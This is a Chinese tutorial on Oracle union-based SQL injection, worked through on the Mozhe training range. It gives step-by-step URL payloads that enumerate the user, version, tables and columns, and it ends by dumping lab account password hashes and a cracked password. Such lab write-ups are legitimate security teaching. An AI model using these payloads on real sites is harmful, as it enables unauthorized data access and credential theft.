C/C++教程

oracle联合注入

本文主要是介绍oracle联合注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

oracle联合注入

  • oracle数据库简介:Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

1. 前置知识:

  1. SYS_CONTEXT()

    • SYS_CONTEXT()函数是Oracle提供的一个获取环境上下文信息的预定义函数。
    • 语法格式:
      • SYS_CONTEXT('namespace','parameter'{,LENGTH});
      • 第一个参数为'USERENV',是固定的,第二个参数也是固定的,但是是多选固定。
    • SYS_CONTEXT 实际上就是一个Oracle存储和传递参数的容器访问函数。
    • select sys_context('USERENV','CURRENT_USER') from dual;--返回当前的登陆用户
      06_.SYS_CONTEXT()函数
  2. dual表

    • dual是一个由Oracle提供的最小的表,不论进行何种操作,它都只有一条记录——'X'。其经常用来构成select的语法规则(因为在oracle中,当你使用select查询语句时必须要加上表名,但是当我们在进行个别查询操作时,比如查询系统时间等,并不需要表名,为了保持select语法规则,于是就提供了dual表)。
      01_dual表
  3. V_$INSTANCE系统视图

    • 该系统视图用来存储当前数据库实例的状态信息
    • 其中的字段名:instance_name,为当前实例的名称(这正是我们所需要的)
      02_V$INSTANCE系统视图
  4. sys.v_$version系统视图

    • 用来存储数据库系统的版本信息
      03_V_$VERSION系统视图
  5. user_tables系统视图

    • 用来存储当前用户所拥有的表的相关数据
      04_USER_TABLES系统视图
  6. user_tab_columns系统视图

    • 该视图用来描述当前用户拥有的表、视图和集群的列
      05_USER_TAB_COLUMNS系统视图

2. 注入流程

  1. 判断注入点
  2. 判断当前注入点的字段数
  3. 确定显示位
  4. 查询当前登录用户
  5. 查询当前数据库版本信息
  6. 查询当前数据库名
  7. 查询我们所需的表名
  8. 查询表中的字段名
  9. 查询账户名/密码

3. 靶场实战(这里以“墨者”的的靶场为例)

  • https://www.mozhe.cn/bug

3.1 判断注入点

  • payload:
    ?id=1 and 1=1 --页面返回正常
    ?id=1 and 1=2 --页面返回失败
    
    • 由此可知存在注入点,且为数字型注入
      07_判断注入点

3.2 判断当前注入点的字段数

  • payload:
    ?id=1 order by 2 --页面返回正常
    ?id=1 order by 3 --页面返回失败
    
    • 由此可知当前注入点的字段数为2
      08_判断当前注入点的字段数

3.2 确定显示位

  • payload:
    ?id=1 and 1=2 union select null,null from dual
    ?id=1 and 1=2 union select 'null',null from dual
    ?id=1 and 1=2 union select null,'null' from dual
    
    • 由图像返回结果可知,显示位存在于1号和2号位
      09_判断显示位
    • 这里说明一下,为什么oracle与mysql 确定显示位的方法不同:
      • 原因是oracle数据库是强数据类型,即union关键字前后的select查询所查询的字段的数据类型必须相同(mysql可以不同),这就导致在我们不知道union关键字前面的数据类型的前提下,必须先使用 null数据类型 来充当字段。然后依次为 null 加单引号使其变为字符串类型,如果加上单引号使null变为的字符串类型与union前面对应的字段类型相同,就自然会在页面中回显出显示位。

3.3 查询当前登录用户

  • payload:
    ?id=1 and 1=2 union select null,(select sys_context('userenv','current_user') from dual) from dual
    
    • 由下图可知,当前登录的用户是:system用户
      10_查询当前当前登录的用户

3.4 查询当前数据库版本信息

  • payload:
    ?id=1 and 1=2 union select null,(select banner from sys.v_$version where rownum=1) from dual
    
    • 由下图可知,当前数据库的版本为:Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
      11_查询当前当前数据库版本

3.5 查询当前数据库名

  • payload:
    ?id=1 and 1=2 union select null,(select instance_name from sys.V_$INSTANCE) from dual
    
    • 由下图可知当前数据库名为:XE
      12_查询当前当前数据库名

3.6 查询我们所需的表名

  • payload:
    • 第一步:我们先查当前数据库存在多少表名(心里好歹有个数)
      ?id=1 and 1=2 union select null,(select to_char(count(table_name),'999') from user_tables) from dual
      
      • 156张,额。。的确有点多啊,。。
        13_查询当前当前数据库存在多少张表
    • 第二步:我们还是直接模糊查询吧
      ?id=1 and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
      
      • 可见,我们所要查询的表名为:sns_users
        14_查询表名

3.7 查询表中的字段名

  • payload:
    • 查询sns_users表所拥有的的字段数量
      ?id=1 and 1=2 union select null,(select to_char(count(column_name),'99') from user_tab_columns where table_name='sns_users') from dual
      
      • 3个字段,还好。。。
        15_查询sns_users表所拥有的字段数量
    • 查询每一个字段名
      • 第一个字段名
        ?id=1 and 1=2 union select null,(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
        
        • 第一个字段名为:USER_NAME
          16_查询sns_users表的字段名
      • 第二个字段名
        ?id=1 and 1=2 union select null,(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in ('USER_NAME')) from dual
        
        • 第二个字段名为:USER_PWD
          17_查询sns_users表的字段名
    • 第三个字段名就不需要查询了,显然USER_NAME和USER_PWD两字段就是我们所需要的

3.8 查询账户名/密码

  • payload:
    • 查询有多少对账号密码
      ?id=1 and 1=2 union select null,to_char((select count(USER_NAME) from "sns_users"),'9') from dual
      
      • 可见有3对
        18_查询有多少对账号密码
    • 第一对账号密码:
      ?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
      
      19_第一对账号密码
    • 第二对账号密码:
      ?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME not in ('zhong')
      
      20_第二对账号密码
    • 第三对账号密码:
      ?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME not in ('zhong','hu')
      
      21_第三对账号密码
  • 三对账号密码分别是
    1. zhong/1c63129ae9asc60asdua94d3e00495
    2. hu/1c63129ae9db9g20asdua94d3e00495
    3. mozhe/ecfd1ad1de2ff2a6734fadf09294f7ed
  • 以上三对密码,只有第三队才可以MD5加密成功:mozhe/881175
  • 登录拿key:mozhe5a56496fd9d56ec788fdc514d06
    22_登录拿key
这篇关于oracle联合注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!